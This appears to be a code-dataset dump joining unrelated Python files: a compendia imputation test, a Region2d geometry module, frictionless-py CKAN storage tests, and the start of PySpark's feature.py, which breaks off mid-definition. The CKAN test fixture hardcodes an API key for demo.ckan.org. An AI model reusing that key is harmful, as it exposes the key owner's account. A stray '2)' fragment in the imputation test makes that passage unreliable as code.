df.loc[str(i)] = row_i job_context = { "microarray_matrix": df, "job": job, "dataset": dset, "filtered_samples": {}, } job_context = create_compendia._full_outer_join_gene_matrices(job_context) final_job_context = create_compendia._filter_rows_and_columns(job_context) filtered_matrix = final_job_context["row_col_filtered_matrix"] self.assertEqual(set(filtered_matrix.columns), {"0", "1"} | {str(i) for i in range(4, 10)}) self.assertEqual(set(final_job_context["filtered_samples"].keys()), {"2", "3"}) for v in final_job_context["filtered_samples"].values(): self.assertIn("less than 50% present", v["reason"]) @tag("compendia") def test_imputation(self): job = ProcessorJob() job.pipeline_applied = ProcessorPipeline.CREATE_COMPENDIA.value job.save() experiment = Experiment() experiment.accession_code = "GSE1234" experiment.save() result = ComputationalResult() result.save() qn_target = ComputedFile() qn_target.filename = "danio_target.tsv" qn_target.absolute_file_path = "/home/user/data_store/QN/danio_target.tsv" qn_target.is_qn_target = True qn_target.size_in_bytes = "12345" qn_target.sha1 = "aabbccddeeff" qn_target.result = result qn_target.save() danio_rerio = Organism(name="DANIO_RERIO", taxonomy_id=1, qn_target=result) danio_rerio.save() cra = ComputationalResultAnnotation() cra.data = {} cra.data["organism_id"] = danio_rerio.id cra.data["is_qn"] = True cra.result = result cra.save() result = ComputationalResult() result.save() micros = [] for file in os.listdir("/home/user/data_store/raw/TEST/MICROARRAY/"): if "microarray.txt" in file: continue create_sample_for_experiment( { "organism": danio_rerio, "accession_code": file, "technology": "MICROARRAY", "filename": file, "data_dir": "/home/user/data_store/raw/TEST/MICROARRAY/", }, experiment, ) micros.append(file) experiment = Experiment() experiment.accession_code = "GSE5678" experiment.save() result = ComputationalResult() result.save() rnas = [] for file in os.listdir("/home/user/data_store/raw/TEST/RNASEQ/"): if "rnaseq.txt" in file: continue create_sample_for_experiment( { "organism": danio_rerio, "accession_code": file, "technology": "RNA-SEQ", "filename": file, "data_dir": "/home/user/data_store/raw/TEST/RNASEQ/", }, experiment, ) rnas.append(file) sample = create_sample_for_experiment( { "organism": danio_rerio, "accession_code": "GSM1487222", "title": "this sample will be filtered", "technology": "RNA-SEQ", "filename": None, }, experiment, ) rnas.append(sample.accession_code) dset = Dataset() dset.data = {"GSE1234": micros, "GSE5678": rnas} dset.scale_by = "NONE" dset.aggregate_by = "SPECIES" dset.svd_algorithm = "ARPACK" dset.quantile_normalize = True dset.save() pjda = ProcessorJobDatasetAssociation() pjda.processor_job = job pjda.dataset = dset pjda.save() imputation_index = create_compendia.COMPENDIA_PIPELINE.index( create_compendia._perform_imputation ) pipeline = Pipeline(name=PipelineEnum.CREATE_COMPENDIA.value) job_context = utils.run_pipeline( {"job_id": job.id, "pipeline": pipeline}, create_compendia.COMPENDIA_PIPELINE[:imputation_index], ) expected_context = utils.run_pipeline( job_context.copy(), [create_compendia.COMPENDIA_PIPELINE[imputation_index]] ) 2) rare_rows = random.sample(list(job_context["microarray_matrix"].index), k=25) rare_genes = {} for row in rare_rows: cols = random.sample( list(job_context["microarray_matrix"].columns), k=int(0.28 * 840), ) rare_genes[row] = cols for col in cols: job_context["microarray_matrix"].loc[row, col] = np.nan individual_indices = random.sample( list( itertools.product( set(job_context["microarray_matrix"].index) - set(rare_rows), job_context["microarray_matrix"].columns, ) ), k=1000, ) for row, col in individual_indices: job_context["microarray_matrix"].loc[row, col] = np.nan final_context = utils.run_pipeline( job_context, [create_compendia.COMPENDIA_PIPELINE[imputation_index]] ) self.assertDidNotFail(job) index = set(final_context["merged_no_qn"].index) & set( expected_context["merged_no_qn"].index ) columns = set(final_context["merged_no_qn"].columns) & set( expected_context["merged_no_qn"].columns ) N = 0 squared_error = 0 affected_entries = { *individual_indices, *((row, col) for row, cols in rare_genes.items() for col in cols), } for row, col in affected_entries: if row in index and col in columns: actual = final_context["merged_no_qn"].loc[row, col] expected = expected_context["merged_no_qn"].loc[row, col] N += 1 squared_error += (actual - expected) ** 2 rmse = math.sqrt(squared_error / N) self.assertLess(abs(rmse - 0.2868600293662542), 0.05)

true

1c4234506b59f49708e87e082d6cfd6b4e7c42d0

3,253

py

Python

src/model/region2d.py

RobertMcCarter/animal-finder

5ac839a65df62ab312e440ce43416727492e84d8

[ "MIT" ]

null

src/model/region2d.py

RobertMcCarter/animal-finder

5ac839a65df62ab312e440ce43416727492e84d8

[ "MIT" ]

null

src/model/region2d.py

RobertMcCarter/animal-finder

5ac839a65df62ab312e440ce43416727492e84d8

[ "MIT" ]

null

from dataclasses import dataclass from typing import Union @dataclass(frozen=True) class Region2d: """The basic Region (rectangle) in an image Top left is (0,0) and x increases to the right while y increases down the image. """ x: int y: int w: int h: int @property def x1(self) -> int: return self.x @property def y1(self) -> int: return self.y @property def x2(self) -> int: return self.x + self.w @property def y2(self) -> int: return self.y + self.h @property def right_x(self) -> int: """The computed right x value - basically (x + w)""" return self.x2 @property def bottom_y(self) -> int: """The computed bottom y value - basically (y + h)""" return self.y2 # Return a new region 2d object with _all_ values scaled # This is very useful when scaling up/down an image for display def scale(region: Region2d, scaleFactor: float): """Scale this 2d region by the given scale (in both x and y directions) returning a new region 2d with the new scaled values """ new_x: int = int(region.x * scaleFactor) new_y: int = int(region.y * scaleFactor) new_w: int = int(region.w * scaleFactor) new_h: int = int(region.h * scaleFactor) return Region2d(new_x, new_y, new_w, new_h) def normalize(region: Region2d) -> Region2d: """The user may draw a rectangle "backwards" (from right to left) so that the width and height are negative. This function does the math to flip around the region 2d x,y,w,h values so that the width and height are positive. Returns: [Region2d]: Returns a "normalized" region 2d with a positive width and height """ # If both width and height are positive, we're already normalized # and we can just return ourself if region.w > 0 and region.h > 0: return region # Either (or both) of width or height are negative, we need to create a new # Region2d x, y, w, h = region.x, region.y, region.w, region.h if w < 0: x, w = x + w, -w if h < 0: y, h = y + h, -h return Region2d(x, y, w, h) def intersects(a: Region2d, b: Region2d) -> bool: """Determines if the two image regions intersect at all Args: a (Region): The first region to test with b (Region): The second region to test with Returns: bool: `True` if the two regions intersect at all, `False` if they do not """ return not ((a.x2 < b.x1 or a.x1 > b.x2) or (a.y1 > b.y2 or a.y2 < b.y1)) def intersectsAny(a: Region2d, testRegions: list[Region2d]) -> bool: """Determines if the `a` region intersects any region in the list of `testRegions`. Args: a (Region): The first region to test with testRegions (list[Region]): The second region to test with Returns: bool: `True` if the a region intersect any of the regions in `testRegions`, `False` if they do not """ return any(intersects(a, b) for b in testRegions) @dataclass(frozen=True) class TaggedRegion2d(Region2d): """Represents a tagged region - either `True` or `False` there is an animal in the region""" tag: bool

28.787611

96

0.627421

from dataclasses import dataclass from typing import Union @dataclass(frozen=True) class Region2d: x: int y: int w: int h: int @property def x1(self) -> int: return self.x @property def y1(self) -> int: return self.y @property def x2(self) -> int: return self.x + self.w @property def y2(self) -> int: return self.y + self.h @property def right_x(self) -> int: return self.x2 @property def bottom_y(self) -> int: return self.y2 def scale(region: Region2d, scaleFactor: float): new_x: int = int(region.x * scaleFactor) new_y: int = int(region.y * scaleFactor) new_w: int = int(region.w * scaleFactor) new_h: int = int(region.h * scaleFactor) return Region2d(new_x, new_y, new_w, new_h) def normalize(region: Region2d) -> Region2d: # and we can just return ourself if region.w > 0 and region.h > 0: return region # Either (or both) of width or height are negative, we need to create a new # Region2d x, y, w, h = region.x, region.y, region.w, region.h if w < 0: x, w = x + w, -w if h < 0: y, h = y + h, -h return Region2d(x, y, w, h) def intersects(a: Region2d, b: Region2d) -> bool: return not ((a.x2 < b.x1 or a.x1 > b.x2) or (a.y1 > b.y2 or a.y2 < b.y1)) def intersectsAny(a: Region2d, testRegions: list[Region2d]) -> bool: return any(intersects(a, b) for b in testRegions) @dataclass(frozen=True) class TaggedRegion2d(Region2d): tag: bool

true

1c4234615ff82fe07f07ba85b5f296cecc94fb84

7,813

py

Python

tests/plugins/test_ckan.py

augusto-herrmann/frictionless-py

b4ff35f064141a2c04882edb592666ca6b066776

[ "MIT" ]

1

2021-11-08T22:29:30.000Z

tests/plugins/test_ckan.py

augusto-herrmann/frictionless-py

b4ff35f064141a2c04882edb592666ca6b066776

[ "MIT" ]

null

tests/plugins/test_ckan.py

augusto-herrmann/frictionless-py

b4ff35f064141a2c04882edb592666ca6b066776

[ "MIT" ]

null

import pytest import datetime from frictionless import Package, Resource, FrictionlessException from frictionless.plugins.ckan import CkanStorage, CkanDialect # Parser @pytest.mark.vcr def test_ckan_parser(options): url = options.pop("url") dialect = CkanDialect(resource="table", **options) source = Resource("data/timezone.csv") target = source.write(url, format="ckan", dialect=dialect) with target: assert target.header == ["id", "name"] assert target.read_rows() == [ {"id": 1, "name": "english"}, {"id": 2, "name": "中国人"}, ] @pytest.mark.vcr def test_ckan_parser_timezone(options): url = options.pop("url") dialect = CkanDialect(resource="timezone", **options) source = Resource("data/timezone.csv") target = source.write(url, format="ckan", dialect=dialect) with target: assert target.read_rows() == [ {"datetime": datetime.datetime(2020, 1, 1, 15), "time": datetime.time(15)}, {"datetime": datetime.datetime(2020, 1, 1, 15), "time": datetime.time(15)}, {"datetime": datetime.datetime(2020, 1, 1, 15), "time": datetime.time(15)}, {"datetime": datetime.datetime(2020, 1, 1, 15), "time": datetime.time(15)}, ] # Storage @pytest.mark.vcr def test_ckan_storage_types(options): url = options.pop("url") dialect = CkanDialect(**options) source = Package("data/storage/types.json") storage = source.to_ckan(url, dialect=dialect) target = Package.from_ckan(url, dialect=dialect) # Assert metadata assert target.get_resource("types").schema == { "fields": [ {"name": "any", "type": "string"}, # type fallback {"name": "array", "type": "array"}, {"name": "boolean", "type": "boolean"}, {"name": "date", "type": "string"}, # type fallback {"name": "date_year", "type": "string"}, # type fallback {"name": "datetime", "type": "datetime"}, {"name": "duration", "type": "string"}, # type fallback {"name": "geojson", "type": "object"}, # type downgrade {"name": "geopoint", "type": "string"}, # type fallback {"name": "integer", "type": "integer"}, {"name": "number", "type": "number"}, {"name": "object", "type": "object"}, {"name": "string", "type": "string"}, {"name": "time", "type": "time"}, {"name": "year", "type": "integer"}, # type downgrade {"name": "yearmonth", "type": "string"}, # type fallback ], } # Assert data assert target.get_resource("types").read_rows() == [ { "any": "中国人", "array": ["Mike", "John"], "boolean": True, "date": "2015-01-01", "date_year": "2015", "datetime": datetime.datetime(2015, 1, 1, 3, 0), "duration": "P1Y1M", "geojson": {"type": "Point", "coordinates": [33, 33.33]}, "geopoint": "30,70", "integer": 1, "number": 7, "object": {"chars": 560}, "string": "english", "time": datetime.time(3, 0), "year": 2015, "yearmonth": "2015-01", }, ] # Cleanup storage storage.delete_package(target.resource_names) @pytest.mark.vcr def test_ckan_storage_integrity(options): url = options.pop("url") dialect = CkanDialect(**options) source = Package("data/storage/integrity.json") storage = source.to_ckan(url, dialect=dialect) target = Package.from_ckan(url, dialect=dialect) # Assert metadata (main) assert target.get_resource("integrity_main").schema == { "fields": [ {"name": "id", "type": "integer"}, {"name": "parent", "type": "integer"}, {"name": "description", "type": "string"}, ], # primary key removal # foreign keys removal } # Assert metadata (link) assert target.get_resource("integrity_link").schema == { "fields": [ {"name": "main_id", "type": "integer"}, {"name": "some_id", "type": "integer"}, # constraint removal {"name": "description", "type": "string"}, # constraint removal ], # primary key removal # foreign keys removal } # Assert data (main) assert target.get_resource("integrity_main").read_rows() == [ {"id": 1, "parent": None, "description": "english"}, {"id": 2, "parent": 1, "description": "中国人"}, ] # Assert data (link) assert target.get_resource("integrity_link").read_rows() == [ {"main_id": 1, "some_id": 1, "description": "note1"}, {"main_id": 2, "some_id": 2, "description": "note2"}, ] # Cleanup storage storage.delete_package(target.resource_names) @pytest.mark.vcr def test_ckan_storage_constraints(options): url = options.pop("url") dialect = CkanDialect(**options) source = Package("data/storage/constraints.json") storage = source.to_ckan(url, dialect=dialect) target = Package.from_ckan(url, dialect=dialect) # Assert metadata assert target.get_resource("constraints").schema == { "fields": [ {"name": "required", "type": "string"}, # constraint removal {"name": "minLength", "type": "string"}, # constraint removal {"name": "maxLength", "type": "string"}, # constraint removal {"name": "pattern", "type": "string"}, # constraint removal {"name": "enum", "type": "string"}, # constraint removal {"name": "minimum", "type": "integer"}, # constraint removal {"name": "maximum", "type": "integer"}, # constraint removal ], } # Assert data assert target.get_resource("constraints").read_rows() == [ { "required": "passing", "minLength": "passing", "maxLength": "passing", "pattern": "passing", "enum": "passing", "minimum": 5, "maximum": 5, }, ] # Cleanup storage storage.delete_package(target.resource_names) @pytest.mark.vcr def test_ckan_storage_not_existent_error(options): url = options.pop("url") dialect = CkanDialect(**options) storage = CkanStorage(url, dialect=dialect) with pytest.raises(FrictionlessException) as excinfo: storage.read_resource("bad") error = excinfo.value.error assert error.code == "storage-error" assert error.note.count("does not exist") @pytest.mark.vcr def test_ckan_storage_write_resource_existent_error(options): url = options.pop("url") dialect = CkanDialect(**options) storage = CkanStorage(url, dialect=dialect) resource = Resource(path="data/table.csv") storage.write_resource(resource, force=True) with pytest.raises(FrictionlessException) as excinfo: storage.write_resource(resource) error = excinfo.value.error assert error.code == "storage-error" assert error.note.count("already exists") # Cleanup storage storage.delete_package(list(storage)) @pytest.mark.vcr def test_ckan_storage_delete_resource_not_existent_error(options): url = options.pop("url") dialect = CkanDialect(**options) storage = CkanStorage(url, dialect=dialect) with pytest.raises(FrictionlessException) as excinfo: storage.delete_resource("bad") error = excinfo.value.error assert error.code == "storage-error" assert error.note.count("does not exist") # Fixtures @pytest.fixture def options(): return { "url": "https://demo.ckan.org/", "dataset": "frictionless", "apikey": "51912f57-a657-4caa-b2a7-0a1c16821f4b", }

33.676724

87

0.581211

import pytest import datetime from frictionless import Package, Resource, FrictionlessException from frictionless.plugins.ckan import CkanStorage, CkanDialect @pytest.mark.vcr def test_ckan_parser(options): url = options.pop("url") dialect = CkanDialect(resource="table", **options) source = Resource("data/timezone.csv") target = source.write(url, format="ckan", dialect=dialect) with target: assert target.header == ["id", "name"] assert target.read_rows() == [ {"id": 1, "name": "english"}, {"id": 2, "name": "中国人"}, ] @pytest.mark.vcr def test_ckan_parser_timezone(options): url = options.pop("url") dialect = CkanDialect(resource="timezone", **options) source = Resource("data/timezone.csv") target = source.write(url, format="ckan", dialect=dialect) with target: assert target.read_rows() == [ {"datetime": datetime.datetime(2020, 1, 1, 15), "time": datetime.time(15)}, {"datetime": datetime.datetime(2020, 1, 1, 15), "time": datetime.time(15)}, {"datetime": datetime.datetime(2020, 1, 1, 15), "time": datetime.time(15)}, {"datetime": datetime.datetime(2020, 1, 1, 15), "time": datetime.time(15)}, ] @pytest.mark.vcr def test_ckan_storage_types(options): url = options.pop("url") dialect = CkanDialect(**options) source = Package("data/storage/types.json") storage = source.to_ckan(url, dialect=dialect) target = Package.from_ckan(url, dialect=dialect) assert target.get_resource("types").schema == { "fields": [ {"name": "any", "type": "string"}, {"name": "array", "type": "array"}, {"name": "boolean", "type": "boolean"}, {"name": "date", "type": "string"}, {"name": "date_year", "type": "string"}, {"name": "datetime", "type": "datetime"}, {"name": "duration", "type": "string"}, {"name": "geojson", "type": "object"}, {"name": "geopoint", "type": "string"}, {"name": "integer", "type": "integer"}, {"name": "number", "type": "number"}, {"name": "object", "type": "object"}, {"name": "string", "type": "string"}, {"name": "time", "type": "time"}, {"name": "year", "type": "integer"}, {"name": "yearmonth", "type": "string"}, ], } assert target.get_resource("types").read_rows() == [ { "any": "中国人", "array": ["Mike", "John"], "boolean": True, "date": "2015-01-01", "date_year": "2015", "datetime": datetime.datetime(2015, 1, 1, 3, 0), "duration": "P1Y1M", "geojson": {"type": "Point", "coordinates": [33, 33.33]}, "geopoint": "30,70", "integer": 1, "number": 7, "object": {"chars": 560}, "string": "english", "time": datetime.time(3, 0), "year": 2015, "yearmonth": "2015-01", }, ] storage.delete_package(target.resource_names) @pytest.mark.vcr def test_ckan_storage_integrity(options): url = options.pop("url") dialect = CkanDialect(**options) source = Package("data/storage/integrity.json") storage = source.to_ckan(url, dialect=dialect) target = Package.from_ckan(url, dialect=dialect) assert target.get_resource("integrity_main").schema == { "fields": [ {"name": "id", "type": "integer"}, {"name": "parent", "type": "integer"}, {"name": "description", "type": "string"}, ], } assert target.get_resource("integrity_link").schema == { "fields": [ {"name": "main_id", "type": "integer"}, {"name": "some_id", "type": "integer"}, {"name": "description", "type": "string"}, ], } assert target.get_resource("integrity_main").read_rows() == [ {"id": 1, "parent": None, "description": "english"}, {"id": 2, "parent": 1, "description": "中国人"}, ] assert target.get_resource("integrity_link").read_rows() == [ {"main_id": 1, "some_id": 1, "description": "note1"}, {"main_id": 2, "some_id": 2, "description": "note2"}, ] storage.delete_package(target.resource_names) @pytest.mark.vcr def test_ckan_storage_constraints(options): url = options.pop("url") dialect = CkanDialect(**options) source = Package("data/storage/constraints.json") storage = source.to_ckan(url, dialect=dialect) target = Package.from_ckan(url, dialect=dialect) assert target.get_resource("constraints").schema == { "fields": [ {"name": "required", "type": "string"}, {"name": "minLength", "type": "string"}, {"name": "maxLength", "type": "string"}, {"name": "pattern", "type": "string"}, {"name": "enum", "type": "string"}, {"name": "minimum", "type": "integer"}, {"name": "maximum", "type": "integer"}, ], } assert target.get_resource("constraints").read_rows() == [ { "required": "passing", "minLength": "passing", "maxLength": "passing", "pattern": "passing", "enum": "passing", "minimum": 5, "maximum": 5, }, ] storage.delete_package(target.resource_names) @pytest.mark.vcr def test_ckan_storage_not_existent_error(options): url = options.pop("url") dialect = CkanDialect(**options) storage = CkanStorage(url, dialect=dialect) with pytest.raises(FrictionlessException) as excinfo: storage.read_resource("bad") error = excinfo.value.error assert error.code == "storage-error" assert error.note.count("does not exist") @pytest.mark.vcr def test_ckan_storage_write_resource_existent_error(options): url = options.pop("url") dialect = CkanDialect(**options) storage = CkanStorage(url, dialect=dialect) resource = Resource(path="data/table.csv") storage.write_resource(resource, force=True) with pytest.raises(FrictionlessException) as excinfo: storage.write_resource(resource) error = excinfo.value.error assert error.code == "storage-error" assert error.note.count("already exists") storage.delete_package(list(storage)) @pytest.mark.vcr def test_ckan_storage_delete_resource_not_existent_error(options): url = options.pop("url") dialect = CkanDialect(**options) storage = CkanStorage(url, dialect=dialect) with pytest.raises(FrictionlessException) as excinfo: storage.delete_resource("bad") error = excinfo.value.error assert error.code == "storage-error" assert error.note.count("does not exist") @pytest.fixture def options(): return { "url": "https://demo.ckan.org/", "dataset": "frictionless", "apikey": "51912f57-a657-4caa-b2a7-0a1c16821f4b", }

true

1c423486be8d98de941898b2331c90c0380eded0

63,214

py

Python

python/pyspark/ml/feature.py

bbejeck/spark

56a0fe5c6e4ae2929c48fae2d6225558d020e5f9

[ "Apache-2.0", "MIT" ]

null

python/pyspark/ml/feature.py

bbejeck/spark

56a0fe5c6e4ae2929c48fae2d6225558d020e5f9

[ "Apache-2.0", "MIT" ]

null

python/pyspark/ml/feature.py

bbejeck/spark

56a0fe5c6e4ae2929c48fae2d6225558d020e5f9

[ "Apache-2.0", "MIT" ]

null

# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import sys if sys.version > '3': basestring = str from pyspark.rdd import ignore_unicode_prefix from pyspark.ml.param.shared import * from pyspark.ml.util import keyword_only from pyspark.ml.wrapper import JavaEstimator, JavaModel, JavaTransformer, _jvm from pyspark.mllib.common import inherit_doc from pyspark.mllib.linalg import _convert_to_vector __all__ = ['Binarizer', 'Bucketizer', 'DCT', 'ElementwiseProduct', 'HashingTF', 'IDF', 'IDFModel', 'IndexToString', 'NGram', 'Normalizer', 'OneHotEncoder', 'PCA', 'PCAModel', 'PolynomialExpansion', 'RegexTokenizer', 'RFormula', 'RFormulaModel', 'SQLTransformer', 'StandardScaler', 'StandardScalerModel', 'StopWordsRemover', 'StringIndexer', 'StringIndexerModel', 'Tokenizer', 'VectorAssembler', 'VectorIndexer', 'VectorSlicer', 'Word2Vec', 'Word2VecModel'] @inherit_doc class Binarizer(JavaTransformer, HasInputCol, HasOutputCol): """ .. note:: Experimental Binarize a column of continuous features given a threshold. >>> df = sqlContext.createDataFrame([(0.5,)], ["values"]) >>> binarizer = Binarizer(threshold=1.0, inputCol="values", outputCol="features") >>> binarizer.transform(df).head().features 0.0 >>> binarizer.setParams(outputCol="freqs").transform(df).head().freqs 0.0 >>> params = {binarizer.threshold: -0.5, binarizer.outputCol: "vector"} >>> binarizer.transform(df, params).head().vector 1.0 """ # a placeholder to make it appear in the generated doc threshold = Param(Params._dummy(), "threshold", "threshold in binary classification prediction, in range [0, 1]") @keyword_only def __init__(self, threshold=0.0, inputCol=None, outputCol=None): """ __init__(self, threshold=0.0, inputCol=None, outputCol=None) """ super(Binarizer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.Binarizer", self.uid) self.threshold = Param(self, "threshold", "threshold in binary classification prediction, in range [0, 1]") self._setDefault(threshold=0.0) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, threshold=0.0, inputCol=None, outputCol=None): """ setParams(self, threshold=0.0, inputCol=None, outputCol=None) Sets params for this Binarizer. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setThreshold(self, value): """ Sets the value of :py:attr:`threshold`. """ self._paramMap[self.threshold] = value return self def getThreshold(self): """ Gets the value of threshold or its default value. """ return self.getOrDefault(self.threshold) @inherit_doc class Bucketizer(JavaTransformer, HasInputCol, HasOutputCol): """ .. note:: Experimental Maps a column of continuous features to a column of feature buckets. >>> df = sqlContext.createDataFrame([(0.1,), (0.4,), (1.2,), (1.5,)], ["values"]) >>> bucketizer = Bucketizer(splits=[-float("inf"), 0.5, 1.4, float("inf")], ... inputCol="values", outputCol="buckets") >>> bucketed = bucketizer.transform(df).collect() >>> bucketed[0].buckets 0.0 >>> bucketed[1].buckets 0.0 >>> bucketed[2].buckets 1.0 >>> bucketed[3].buckets 2.0 >>> bucketizer.setParams(outputCol="b").transform(df).head().b 0.0 """ # a placeholder to make it appear in the generated doc splits = \ Param(Params._dummy(), "splits", "Split points for mapping continuous features into buckets. With n+1 splits, " + "there are n buckets. A bucket defined by splits x,y holds values in the " + "range [x,y) except the last bucket, which also includes y. The splits " + "should be strictly increasing. Values at -inf, inf must be explicitly " + "provided to cover all Double values; otherwise, values outside the splits " + "specified will be treated as errors.") @keyword_only def __init__(self, splits=None, inputCol=None, outputCol=None): """ __init__(self, splits=None, inputCol=None, outputCol=None) """ super(Bucketizer, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.Bucketizer", self.uid) #: param for Splitting points for mapping continuous features into buckets. With n+1 splits, # there are n buckets. A bucket defined by splits x,y holds values in the range [x,y) # except the last bucket, which also includes y. The splits should be strictly increasing. # Values at -inf, inf must be explicitly provided to cover all Double values; otherwise, # values outside the splits specified will be treated as errors. self.splits = \ Param(self, "splits", "Split points for mapping continuous features into buckets. With n+1 splits, " + "there are n buckets. A bucket defined by splits x,y holds values in the " + "range [x,y) except the last bucket, which also includes y. The splits " + "should be strictly increasing. Values at -inf, inf must be explicitly " + "provided to cover all Double values; otherwise, values outside the splits " + "specified will be treated as errors.") kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, splits=None, inputCol=None, outputCol=None): """ setParams(self, splits=None, inputCol=None, outputCol=None) Sets params for this Bucketizer. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setSplits(self, value): """ Sets the value of :py:attr:`splits`. """ self._paramMap[self.splits] = value return self def getSplits(self): """ Gets the value of threshold or its default value. """ return self.getOrDefault(self.splits) @inherit_doc class DCT(JavaTransformer, HasInputCol, HasOutputCol): """ .. note:: Experimental A feature transformer that takes the 1D discrete cosine transform of a real vector. No zero padding is performed on the input vector. It returns a real vector of the same length representing the DCT. The return vector is scaled such that the transform matrix is unitary (aka scaled DCT-II). More information on `https://en.wikipedia.org/wiki/Discrete_cosine_transform#DCT-II Wikipedia`. >>> from pyspark.mllib.linalg import Vectors >>> df1 = sqlContext.createDataFrame([(Vectors.dense([5.0, 8.0, 6.0]),)], ["vec"]) >>> dct = DCT(inverse=False, inputCol="vec", outputCol="resultVec") >>> df2 = dct.transform(df1) >>> df2.head().resultVec DenseVector([10.969..., -0.707..., -2.041...]) >>> df3 = DCT(inverse=True, inputCol="resultVec", outputCol="origVec").transform(df2) >>> df3.head().origVec DenseVector([5.0, 8.0, 6.0]) """ # a placeholder to make it appear in the generated doc inverse = Param(Params._dummy(), "inverse", "Set transformer to perform inverse DCT, " + "default False.") @keyword_only def __init__(self, inverse=False, inputCol=None, outputCol=None): """ __init__(self, inverse=False, inputCol=None, outputCol=None) """ super(DCT, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.DCT", self.uid) self.inverse = Param(self, "inverse", "Set transformer to perform inverse DCT, " + "default False.") self._setDefault(inverse=False) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, inverse=False, inputCol=None, outputCol=None): """ setParams(self, inverse=False, inputCol=None, outputCol=None) Sets params for this DCT. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setInverse(self, value): """ Sets the value of :py:attr:`inverse`. """ self._paramMap[self.inverse] = value return self def getInverse(self): """ Gets the value of inverse or its default value. """ return self.getOrDefault(self.inverse) @inherit_doc class ElementwiseProduct(JavaTransformer, HasInputCol, HasOutputCol): """ .. note:: Experimental Outputs the Hadamard product (i.e., the element-wise product) of each input vector with a provided "weight" vector. In other words, it scales each column of the dataset by a scalar multiplier. >>> from pyspark.mllib.linalg import Vectors >>> df = sqlContext.createDataFrame([(Vectors.dense([2.0, 1.0, 3.0]),)], ["values"]) >>> ep = ElementwiseProduct(scalingVec=Vectors.dense([1.0, 2.0, 3.0]), ... inputCol="values", outputCol="eprod") >>> ep.transform(df).head().eprod DenseVector([2.0, 2.0, 9.0]) >>> ep.setParams(scalingVec=Vectors.dense([2.0, 3.0, 5.0])).transform(df).head().eprod DenseVector([4.0, 3.0, 15.0]) """ # a placeholder to make it appear in the generated doc scalingVec = Param(Params._dummy(), "scalingVec", "vector for hadamard product, " + "it must be MLlib Vector type.") @keyword_only def __init__(self, scalingVec=None, inputCol=None, outputCol=None): """ __init__(self, scalingVec=None, inputCol=None, outputCol=None) """ super(ElementwiseProduct, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.ElementwiseProduct", self.uid) self.scalingVec = Param(self, "scalingVec", "vector for hadamard product, " + "it must be MLlib Vector type.") kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, scalingVec=None, inputCol=None, outputCol=None): """ setParams(self, scalingVec=None, inputCol=None, outputCol=None) Sets params for this ElementwiseProduct. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) def setScalingVec(self, value): """ Sets the value of :py:attr:`scalingVec`. """ self._paramMap[self.scalingVec] = value return self def getScalingVec(self): """ Gets the value of scalingVec or its default value. """ return self.getOrDefault(self.scalingVec) @inherit_doc class HashingTF(JavaTransformer, HasInputCol, HasOutputCol, HasNumFeatures): """ .. note:: Experimental Maps a sequence of terms to their term frequencies using the hashing trick. >>> df = sqlContext.createDataFrame([(["a", "b", "c"],)], ["words"]) >>> hashingTF = HashingTF(numFeatures=10, inputCol="words", outputCol="features") >>> hashingTF.transform(df).head().features SparseVector(10, {7: 1.0, 8: 1.0, 9: 1.0}) >>> hashingTF.setParams(outputCol="freqs").transform(df).head().freqs SparseVector(10, {7: 1.0, 8: 1.0, 9: 1.0}) >>> params = {hashingTF.numFeatures: 5, hashingTF.outputCol: "vector"} >>> hashingTF.transform(df, params).head().vector SparseVector(5, {2: 1.0, 3: 1.0, 4: 1.0}) """ @keyword_only def __init__(self, numFeatures=1 << 18, inputCol=None, outputCol=None): """ __init__(self, numFeatures=1 << 18, inputCol=None, outputCol=None) """ super(HashingTF, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.HashingTF", self.uid) self._setDefault(numFeatures=1 << 18) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, numFeatures=1 << 18, inputCol=None, outputCol=None): """ setParams(self, numFeatures=1 << 18, inputCol=None, outputCol=None) Sets params for this HashingTF. """ kwargs = self.setParams._input_kwargs return self._set(**kwargs) @inherit_doc class IDF(JavaEstimator, HasInputCol, HasOutputCol): """ .. note:: Experimental Compute the Inverse Document Frequency (IDF) given a collection of documents. >>> from pyspark.mllib.linalg import DenseVector >>> df = sqlContext.createDataFrame([(DenseVector([1.0, 2.0]),), ... (DenseVector([0.0, 1.0]),), (DenseVector([3.0, 0.2]),)], ["tf"]) >>> idf = IDF(minDocFreq=3, inputCol="tf", outputCol="idf") >>> idf.fit(df).transform(df).head().idf DenseVector([0.0, 0.0]) >>> idf.setParams(outputCol="freqs").fit(df).transform(df).collect()[1].freqs DenseVector([0.0, 0.0]) >>> params = {idf.minDocFreq: 1, idf.outputCol: "vector"} >>> idf.fit(df, params).transform(df).head().vector DenseVector([0.2877, 0.0]) """ # a placeholder to make it appear in the generated doc minDocFreq = Param(Params._dummy(), "minDocFreq", "minimum of documents in which a term should appear for filtering") @keyword_only def __init__(self, minDocFreq=0, inputCol=None, outputCol=None): """ __init__(self, minDocFreq=0, inputCol=None, outputCol=None) """ super(IDF, self).__init__() self._java_obj = self._new_java_obj("org.apache.spark.ml.feature.IDF", self.uid) self.minDocFreq = Param(self, "minDocFreq", "minimum of documents in which a term should appear for filtering") self._setDefault(minDocFreq=0) kwargs = self.__init__._input_kwargs self.setParams(**kwargs) @keyword_only def setParams(self, 